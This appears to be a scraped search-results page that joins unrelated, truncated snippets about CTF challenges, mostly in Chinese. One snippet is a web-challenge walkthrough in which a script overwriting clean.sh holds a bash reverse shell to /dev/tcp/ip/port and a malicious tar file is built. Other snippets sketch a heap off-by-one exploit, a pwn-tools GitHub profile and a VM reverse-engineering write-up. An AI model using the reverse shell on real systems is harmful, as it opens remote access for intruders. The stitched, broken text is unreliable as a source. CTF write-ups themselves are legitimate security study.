Web复现. 首先我们需要创建覆盖clean.sh的exp文件,内容如下:. bash -c "bash -i >& /dev/tcp/ip/port 0>&1" # 不加 bash -c 无法运行. 并且给这个文件加上可执行权限: chmod +x exp.sh. 接下去我们利用tarfile模块创建一个恶意的tar文件:. 扫描二维码关注公众号,回复: 14612153 查看本 ... WebOct 6, 2024 · Solution. Allocate 4 chunks A [0x18], B [0x18], C [0x70], D [0x21]. Free chunk A [0x18]. Allocate a new chunk A [0x18] and use off by one overflow to change size of B …
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WebMar 28, 2024 · Do pwn by command line Python 161 14 CVE-ANALYZE Public. Analyze and learn cve C 5 deploy_pwn_template Public. Templates for deploying pwn challenge in ctf C 8 2 Pwngdb Public. Forked from scwuaptx/Pwngdb. gdb for pwn Python 2 182 contributions in the last year ... Webre [GKCTF2024]EzMachine 这是一个win32的VM逆向。 这是第一次做VM逆向,简单的说一下思路: 1.找出主要的虚拟机逻辑片段。 2.找出指令集、堆栈、寄存器。 3.找出要执行的虚拟指令。 4.具体分析。 这次的主函数加了花指令混淆,去除掉以后创建函数然后f5: 同时找到了字符串和虚拟寄存器的地址: 大概的流程摸清楚了,开始分析指令: 此处后半部分 … hollin primary school
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